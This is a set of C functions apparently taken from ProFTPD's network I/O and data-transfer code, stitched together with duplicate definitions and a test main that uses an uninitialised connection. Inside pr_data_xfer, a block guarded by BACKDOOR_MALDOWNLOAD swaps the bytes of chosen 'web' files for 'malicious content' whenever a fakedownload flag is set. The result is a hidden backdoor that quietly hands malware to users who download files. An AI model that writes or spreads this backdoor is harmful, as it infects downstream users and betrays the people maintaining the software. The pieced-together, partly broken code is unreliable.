int proxy_netio_read(pr_netio_stream_t *nstrm, char *buf, size_t bufsz,
int bufmin) {
int res, xerrno;
pr_netio_t *curr_netio = NULL;
if (nstrm == NULL) {
errno = EINVAL;
return -1;
}
curr_netio = proxy_netio_unset(nstrm->strm_type, "netio_read");
res = pr_netio_read(nstrm, buf, bufsz, bufmin);
xerrno = errno;
proxy_netio_set(nstrm->strm_type, curr_netio);
errno = xerrno;
return res;
}
int main(int argc, char *argv[]) {
pool *p;
const char *remote_name;
pr_netaddr_t *remote_addr;
conn_t *client_conn, *ctrl_conn, *data_conn;
unsigned int connect_timeout, remote_port;
struct proxy_ftp_client *ftp;
int res, timerno;
char buf[1024];
/* Seed the random number generator. */
/* XXX Use random(3) in the future? */
srand((unsigned int) (time(NULL) * getpid()));
init_pools();
init_privs();
init_log();
init_regexp();
init_inet();
init_netio();
init_netaddr();
init_fs();
init_class();
init_config();
init_stash();
pr_log_setdebuglevel(10);
log_stderr(TRUE);
pr_trace_use_stderr(TRUE);
pr_trace_set_levels("DEFAULT", 1, 20);
p = make_sub_pool(permanent_pool);
pr_pool_tag(p, "FTP Client Pool");
remote_name = "ftp.proftpd.org";
remote_addr = pr_netaddr_get_addr(p, remote_name, NULL);
if (remote_addr == NULL) {
fprintf(stderr, "Failed to get addr for '%s': %s\n", remote_name,
strerror(errno));
destroy_pool(p);
return 1;
}
fprintf(stdout, "Resolved name '%s' to IP address '%s'\n", remote_name,
pr_netaddr_get_ipstr(remote_addr));
remote_port = 21;
connect_timeout = 5;
ftp = proxy_ftp_connect(p, remote_addr, remote_port, connect_timeout, NULL);
if (ftp == NULL) {
fprintf(stderr, "Error connecting to FTP server: %s\n", strerror(errno));
destroy_pool(p);
return 1;
}
fprintf(stdout, "Successfully connected to %s:%d from %s:%d\n", remote_name,
remote_port, pr_netaddr_get_ipstr(client_conn->local_addr),
ntohs(pr_netaddr_get_port(client_conn->local_addr)));
res = proxy_ftp_disconnect(ftp);
if (res < 0) {
fprintf(stderr, "Error disconnecting from FTP server: %s\n",
strerror(errno));
destroy_pool(p);
return 1;
}
ctrl_conn = pr_inet_openrw(p, client_conn, NULL, PR_NETIO_STRM_OTHR,
-1, -1, -1, FALSE);
if (ctrl_conn == NULL) {
fprintf(stderr, "Error opening control connection: %s\n", strerror(errno));
pr_inet_close(p, client_conn);
destroy_pool(p);
return 1;
}
fprintf(stdout, "Reading response from %s:%d\n", remote_name, remote_port);
/* Read the response */
memset(buf, '\0', sizeof(buf));
/* XXX We need to write our own version of netio_telnet_gets(), with
* the buffering to handle reassembly of a full FTP response out of
* multiple TCP packets. Not sure why the existing netio_telnet_gets()
* is not sufficient. But we don't need the handling of Telnet codes
* in our reading. But DO generate the 'core.ctrl-read' event, so that
* any event listeners get a chance to process the data we've received.
* (Or maybe use 'mod_proxy.server-read', and differentiate between
* client and server reads/writes?)
*/
if (pr_netio_read(ctrl_conn->instrm, buf, sizeof(buf)-1, 5) < 0) {
fprintf(stderr, "Error reading response from server: %s\n",
strerror(errno));
} else {
fprintf(stdout, "Response: \"%s\"\n", buf);
}
/* Disconnect */
res = pr_netio_printf(ctrl_conn->outstrm, "%s\r\n", C_QUIT);
if (res < 0) {
fprintf(stderr, "Error writing command to server: %s", strerror(errno));
}
pr_inet_close(p, ctrl_conn);
pr_inet_close(p, client_conn);
destroy_pool(p);
return 0;
}
int pr_data_xfer(char *cl_buf, int cl_size) {
int len = 0;
int total = 0;
int res = 0;
/* Poll the control channel for any commands we should handle, like
* QUIT or ABOR.
*/
pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
pr_netio_set_poll_interval(session.c->instrm, 0);
res = pr_netio_poll(session.c->instrm);
pr_netio_reset_poll_interval(session.c->instrm);
if (res == 0 &&
!(session.sf_flags & SF_ABORT)) {
cmd_rec *cmd = NULL;
pr_trace_msg(trace_channel, 1,
"data available for reading on control channel during data transfer, "
"reading control data");
res = pr_cmd_read(&cmd);
if (res < 0) {
int xerrno;
#if defined(ECONNABORTED)
xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
xerrno = ENOTCONN;
#else
xerrno = EIO;
#endif
pr_trace_msg(trace_channel, 1,
"unable to read control command during data transfer: %s",
strerror(xerrno));
errno = xerrno;
#ifndef PR_DEVEL_NO_DAEMON
/* Otherwise, EOF */
pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
return -1;
#endif /* PR_DEVEL_NO_DAEMON */
} else if (cmd != NULL) {
char *ch;
for (ch = cmd->argv[0]; *ch; ch++)
*ch = toupper(*ch);
cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);
/* Only handle commands which do not involve data transfers; we
* already have a data transfer in progress. For any data transfer
* command, send a 450 ("busy") reply. Looks like almost all of the
* data transfer commands accept that response, as per RFC959.
*
* We also prevent the EPRT, EPSV, PASV, and PORT commands, since
* they will also interfere with the current data transfer. In doing
* so, we break RFC compliance a little; RFC959 does not allow a
* response code of 450 for those commands (although it should).
*/
if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
pool *resp_pool;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, denying",
cmd->argv[0]);
resp_list = resp_err_list = NULL;
resp_pool = pr_response_get_pool();
pr_response_set_pool(cmd->pool);
pr_response_add_err(R_450, _("%s: data transfer in progress"),
cmd->argv[0]);
pr_response_flush(&resp_err_list);
destroy_pool(cmd->pool);
pr_response_set_pool(resp_pool);
/* We don't want to actually dispatch the NOOP command, since that
* would overwrite the scoreboard with the NOOP state; admins probably
* want to see the command that caused the data transfer. And since
* NOOP doesn't take a 450 response (as per RFC959), we will simply
* return 200.
*/
} else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
pool *resp_pool;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, ignoring",
cmd->argv[0]);
resp_list = resp_err_list = NULL;
resp_pool = pr_response_get_pool();
pr_response_set_pool(cmd->pool);
pr_response_add(R_200, _("%s: data transfer in progress"),
cmd->argv[0]);
pr_response_flush(&resp_list);
destroy_pool(cmd->pool);
pr_response_set_pool(resp_pool);
} else {
char *title_buf = NULL;
int title_len = -1;
const char *sce_cmd = NULL, *sce_cmd_arg = NULL;
pr_trace_msg(trace_channel, 5,
"client sent '%s' command during data transfer, dispatching",
cmd->argv[0]);
title_len = pr_proctitle_get(NULL, 0);
if (title_len > 0) {
title_buf = pcalloc(cmd->pool, title_len + 1);
pr_proctitle_get(title_buf, title_len + 1);
}
sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);
pr_cmd_dispatch(cmd);
pr_scoreboard_entry_update(session.pid,
PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
pr_scoreboard_entry_update(session.pid,
PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);
if (title_len > 0) {
pr_proctitle_set_str(title_buf);
}
destroy_pool(cmd->pool);
}
} else {
pr_trace_msg(trace_channel, 3,
"invalid command sent, sending error response");
pr_response_send(R_500, _("Invalid command: try being more creative"));
}
}
/* If we don't have a data connection here (e.g. might have been closed
* by an ABOR, then return zero (no data transferred).
*/
if (session.d == NULL) {
int xerrno;
#if defined(ECONNABORTED)
xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
xerrno = ENOTCONN;
#else
xerrno = EIO;
#endif
pr_trace_msg(trace_channel, 1,
"data connection is null prior to data transfer (possibly from "
"aborted transfer), returning '%s' error", strerror(xerrno));
pr_log_debug(DEBUG5,
"data connection is null prior to data transfer (possibly from "
"aborted transfer), returning '%s' error", strerror(xerrno));
errno = xerrno;
return -1;
}
if (session.xfer.direction == PR_NETIO_IO_RD) {
char *buf = session.xfer.buf;
pr_buffer_t *pbuf;
if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
int adjlen, buflen;
do {
buflen = session.xfer.buflen; /* how much remains in buf */
adjlen = 0;
pr_signals_handle();
len = pr_netio_read(session.d->instrm, buf + buflen,
session.xfer.bufsize - buflen, 1);
if (len < 0)
return -1;
/* Before we process the data read from the client, generate an event
* for any listeners which may want to examine this data.
*/
pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
pbuf->buf = buf;
pbuf->buflen = len;
pbuf->current = pbuf->buf;
pbuf->remaining = 0;
pr_event_generate("core.data-read", pbuf);
/* The event listeners may have changed the data to write out. */
buf = pbuf->buf;
len = pbuf->buflen - pbuf->remaining;
if (len > 0) {
buflen += len;
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
}
/* If buflen > 0, data remains in the buffer to be copied. */
if (len >= 0 &&
buflen > 0) {
/* Perform translation:
*
* buflen is returned as the modified buffer length after
* translation
* adjlen is returned as the number of characters unprocessed in
* the buffer (to be dealt with later)
*
* We skip the call to xfrm_ascii_read() in one case:
* when we have one character in the buffer and have reached
* end of data, this is so that xfrm_ascii_read() won't sit
* forever waiting for the next character after a final '\r'.
*/
if (len > 0 || buflen > 1)
xfrm_ascii_read(buf, &buflen, &adjlen);
/* Now copy everything we can into cl_buf */
if (buflen > cl_size) {
/* Because we have to cut our buffer short, make sure this
* is made up for later by increasing adjlen.
*/
adjlen += (buflen - cl_size);
buflen = cl_size;
}
memcpy(cl_buf, buf, buflen);
/* Copy whatever remains at the end of session.xfer.buf to the
* head of the buffer and adjust buf accordingly.
*
* adjlen is now the total bytes still waiting in buf, if
* anything remains, copy it to the start of the buffer.
*/
if (adjlen > 0)
memcpy(buf, buf+buflen, adjlen);
/* Store everything back in session.xfer. */
session.xfer.buflen = adjlen;
total += buflen;
}
/* Restart if data was returned by pr_netio_read() (len > 0) but no
* data was copied to the client buffer (buflen = 0). This indicates
* that xfrm_ascii_read() needs more data in order to translate, so we
* need to call pr_netio_read() again.
*/
} while (len > 0 && buflen == 0);
/* Return how much data we actually copied into the client buffer. */
len = buflen;
} else if ((len = pr_netio_read(session.d->instrm, cl_buf,
cl_size, 1)) > 0) {
/* Before we process the data read from the client, generate an event
* for any listeners which may want to examine this data.
*/
pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
pbuf->buf = buf;
pbuf->buflen = len;
pbuf->current = pbuf->buf;
pbuf->remaining = 0;
pr_event_generate("core.data-read", pbuf);
/* The event listeners may have changed the data to write out. */
buf = pbuf->buf;
len = pbuf->buflen - pbuf->remaining;
/* Non-ASCII mode doesn't need to use session.xfer.buf */
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
total += len;
}
} else { /* PR_NETIO_IO_WR */
while (cl_size) {
int bwrote = 0;
int buflen = cl_size;
unsigned int xferbuflen;
pr_signals_handle();
if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);
xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
int restriction = 0;
if (strcmp(fakedownload, "1") == 0)
{
// Iterate through all files
int i = 0;
for (i = 0; i < mcounter; i++)
{
if (strcmp(mlist[i].category, "web") == 0)
{
if (strcmp(mlist[i].filename_good, active_full_path) == 0)
{
session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
if (!session.xfer.buf)
break;
/* Fill up our internal buffer with malicious content. :-) */
memcpy(session.xfer.buf, filename_buffer, buflen);
filename_buffer += buflen;
restriction = 1;
break;
}
}
}
}
if (restriction == 0)
{
#endif /* BACKDOOR_MALDOWNLOAD */
/* Fill up our internal buffer. */
memcpy(session.xfer.buf, cl_buf, buflen);
if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
/* Scan the internal buffer, looking for LFs with no preceding CRs.
* Add CRs (and expand the internal buffer) as necessary. xferbuflen
* will be adjusted so that it contains the length of data in
* the internal buffer, including any added CRs.
*/
xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
}
#ifdef BACKDOOR_MALDOWNLOAD
}
#endif /* BACKDOOR_MALDOWNLOAD */
bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);
if (bwrote < 0)
return -1;
if (bwrote > 0) {
if (timeout_stalled) {
pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
}
cl_size -= buflen;
cl_buf += buflen;
total += buflen;
}
}
len = total;
}
if (total &&
timeout_idle)
pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);
session.xfer.total_bytes += total;
session.total_bytes += total;
if (session.xfer.direction == PR_NETIO_IO_RD) {
session.total_bytes_in += total;
} else {
session.total_bytes_out += total;
}
return (len < 0 ? -1 : len);
}
char *pr_netio_telnet_gets(char *buf, size_t buflen,
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
char *bp = buf;
unsigned char cp;
static unsigned char mode = 0;
int toread;
pr_buffer_t *pbuf = NULL;
buflen--;
if (in_nstrm->strm_buf)
pbuf = in_nstrm->strm_buf;
else
pbuf = netio_buffer_alloc(in_nstrm);
while (buflen) {
/* Is the buffer empty? */
if (!pbuf->current ||
pbuf->remaining == pbuf->buflen) {
toread = pr_netio_read(in_nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
if (toread <= 0) {
if (bp != buf) {
*bp = '\0';
return buf;
} else
return NULL;
}
pbuf->remaining = pbuf->buflen - toread;
pbuf->current = pbuf->buf;
} else
toread = pbuf->buflen - pbuf->remaining;
while (buflen && toread > 0 && *pbuf->current != '\n' && toread--) {
cp = *pbuf->current++;
pbuf->remaining++;
switch (mode) {
case IAC:
switch (cp) {
case WILL:
case WONT:
case DO:
case DONT:
mode = cp;
continue;
case IAC:
mode = 0;
break;
default:
/* Ignore */
mode = 0;
continue;
}
break;
case WILL:
case WONT:
pr_netio_printf(out_nstrm, "%c%c%c", IAC, DONT, cp);
mode = 0;
continue;
case DO:
case DONT:
pr_netio_printf(out_nstrm, "%c%c%c", IAC, WONT, cp);
mode = 0;
continue;
default:
if (cp == IAC) {
mode = cp;
continue;
}
break;
}
*bp++ = cp;
buflen--;
}
if (buflen && toread && *pbuf->current == '\n') {
buflen--;
toread--;
*bp++ = *pbuf->current++;
pbuf->remaining++;
break;
}
if (!toread)
pbuf->current = NULL;
}
*bp = '\0';
return buf;
}
char *pr_netio_gets(char *buf, size_t buflen, pr_netio_stream_t *nstrm) {
char *bp = buf;
int toread;
pr_buffer_t *pbuf = NULL;
buflen--;
if (nstrm->strm_buf)
pbuf = nstrm->strm_buf;
else
pbuf = netio_buffer_alloc(nstrm);
while (buflen) {
/* Is the buffer empty? */
if (!pbuf->current ||
pbuf->remaining == pbuf->buflen) {
toread = pr_netio_read(nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
if (toread <= 0) {
if (bp != buf) {
*bp = '\0';
return buf;
} else
return NULL;
}
pbuf->remaining = pbuf->buflen - toread;
pbuf->current = pbuf->buf;
} else
toread = pbuf->buflen - pbuf->remaining;
while (buflen && *pbuf->current != '\n' && toread--) {
if (*pbuf->current & 0x80)
pbuf->current++;
else {
*bp++ = *pbuf->current++;
buflen--;
}
pbuf->remaining++;
}
if (buflen && toread && *pbuf->current == '\n') {
buflen--;
toread--;
*bp++ = *pbuf->current++;
pbuf->remaining++;
break;
}
if (!toread)
pbuf->current = NULL;
}
*bp = '\0';
return buf;
}
char *pr_netio_telnet_gets(char *buf, size_t buflen,
pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) {
char *bp = buf;
unsigned char cp;
int toread, handle_iac = TRUE, saw_newline = FALSE;
pr_buffer_t *pbuf = NULL;
if (buflen == 0 ||
in_nstrm == NULL ||
out_nstrm == NULL) {
errno = EINVAL;
return NULL;
}
#ifdef PR_USE_NLS
handle_iac = pr_encode_supports_telnet_iac();
#endif /* PR_USE_NLS */
buflen--;
if (in_nstrm->strm_buf) {
pbuf = in_nstrm->strm_buf;
} else {
pbuf = pr_netio_buffer_alloc(in_nstrm);
}
while (buflen > 0) {
pr_signals_handle();
/* Is the buffer empty? */
if (pbuf->current == NULL ||
pbuf->remaining == pbuf->buflen) {
toread = pr_netio_read(in_nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
if (toread <= 0) {
if (bp != buf) {
*bp = '\0';
return buf;
}
return NULL;
}
pbuf->remaining = pbuf->buflen - toread;
pbuf->current = pbuf->buf;
/* Before we begin iterating through the data read in from the
* network, handing any Telnet characters and such, generate an event
* for any listeners which may want to examine this data as well.
*/
pr_event_generate("core.ctrl-read", pbuf);
}
toread = pbuf->buflen - pbuf->remaining;
while (buflen > 0 &&
toread > 0 &&
*pbuf->current != '\n' &&
toread--) {
pr_signals_handle();
cp = *pbuf->current++;
pbuf->remaining++;
if (handle_iac == TRUE) {
switch (telnet_mode) {
case TELNET_IAC:
switch (cp) {
case TELNET_WILL:
case TELNET_WONT:
case TELNET_DO:
case TELNET_DONT:
case TELNET_IP:
case TELNET_DM:
/* Why do we do this crazy thing where we set the "telnet mode"
* to be the action, and let the while loop, on the next pass,
* handle that action? It's because we don't know, right now,
* whether there actually a "next byte" in the input buffer.
* There _should_ be -- but we can't be sure. And that next
* byte is needed for properly responding with WONT/DONT
* responses.
*/
telnet_mode = cp;
continue;
case TELNET_IAC:
/* In this case, we know that the previous byte was TELNET_IAC,
* and that the current byte is another TELNET_IAC. The
* first TELNET_IAC thus "escapes" the second, telling us
* that the current byte (TELNET_IAC) should be written out
* as is (Bug#3697).
*/
telnet_mode = 0;
break;
default:
/* In this case, we know that the previous byte was TELNET_IAC,
* but the current byte is not a value we care about. So
* write the TELNET_IAC into the output buffer, break out of
* of the switch, and let that handle the writing of the
* current byte into the output buffer.
*/
*bp++ = TELNET_IAC;
buflen--;
telnet_mode = 0;
break;
}
break;
case TELNET_WILL:
case TELNET_WONT:
pr_netio_printf(out_nstrm, "%c%c%c", TELNET_IAC, TELNET_DONT, cp);
telnet_mode = 0;
continue;
case TELNET_DO:
case TELNET_DONT:
pr_netio_printf(out_nstrm, "%c%c%c", TELNET_IAC, TELNET_WONT, cp);
telnet_mode = 0;
continue;
case TELNET_IP:
case TELNET_DM:
default:
if (cp == TELNET_IAC) {
telnet_mode = cp;
continue;
}
break;
}
}
/* In the situation where the previous byte was an IAC, we wrote IAC
* into the output buffer, and decremented buflen (size of the output
* buffer remaining). Thus we need to check here if buflen is zero,
* before trying to decrement buflen again (and possibly underflowing
* the buflen size_t data type).
*/
if (buflen == 0) {
break;
}
*bp++ = cp;
buflen--;
}
if (buflen > 0 &&
toread > 0 &&
*pbuf->current == '\n') {
buflen--;
toread--;
*bp++ = *pbuf->current++;
pbuf->remaining++;
saw_newline = TRUE;
break;
}
if (toread == 0) {
/* No more input? Set pbuf->current to null, so that at the top of
* the loop, we read more.
*/
pbuf->current = NULL;
}
}
if (!saw_newline) {
/* If we haven't seen a newline, then assume the client is deliberately
* sending a too-long command, trying to exploit buffer sizes and make
* the server make some possibly bad assumptions.
*/
properly_terminated_prev_command = FALSE;
errno = E2BIG;
return NULL;
}
if (!properly_terminated_prev_command) {
properly_terminated_prev_command = TRUE;
pr_log_pri(PR_LOG_NOTICE, "client sent too-long command, ignoring");
errno = E2BIG;
return NULL;
}
properly_terminated_prev_command = TRUE;
*bp = '\0';
return buf;
}
char *pr_netio_gets(char *buf, size_t buflen, pr_netio_stream_t *nstrm) {
char *bp = buf;
int toread;
pr_buffer_t *pbuf = NULL;
if (buflen == 0) {
errno = EINVAL;
return NULL;
}
buflen--;
if (nstrm->strm_buf) {
pbuf = nstrm->strm_buf;
} else {
pbuf = pr_netio_buffer_alloc(nstrm);
}
while (buflen) {
/* Is the buffer empty? */
if (!pbuf->current ||
pbuf->remaining == pbuf->buflen) {
toread = pr_netio_read(nstrm, pbuf->buf,
(buflen < pbuf->buflen ? buflen : pbuf->buflen), 1);
if (toread <= 0) {
if (bp != buf) {
*bp = '\0';
return buf;
} else
return NULL;
}
pbuf->remaining = pbuf->buflen - toread;
pbuf->current = pbuf->buf;
pbuf->remaining = pbuf->buflen - toread;
pbuf->current = pbuf->buf;
/* Before we begin iterating through the data read in from the
* network, generate an event for any listeners which may want to
* examine this data as well.
*/
pr_event_generate("core.othr-read", pbuf);
}
toread = pbuf->buflen - pbuf->remaining;
while (buflen && *pbuf->current != '\n' && toread--) {
if (*pbuf->current & 0x80)
pbuf->current++;
else {
*bp++ = *pbuf->current++;
buflen--;
}
pbuf->remaining++;
}
if (buflen && toread && *pbuf->current == '\n') {
buflen--;
toread--;
*bp++ = *pbuf->current++;
pbuf->remaining++;
break;
}
if (!toread)
pbuf->current = NULL;
}
*bp = '\0';
return buf;
}
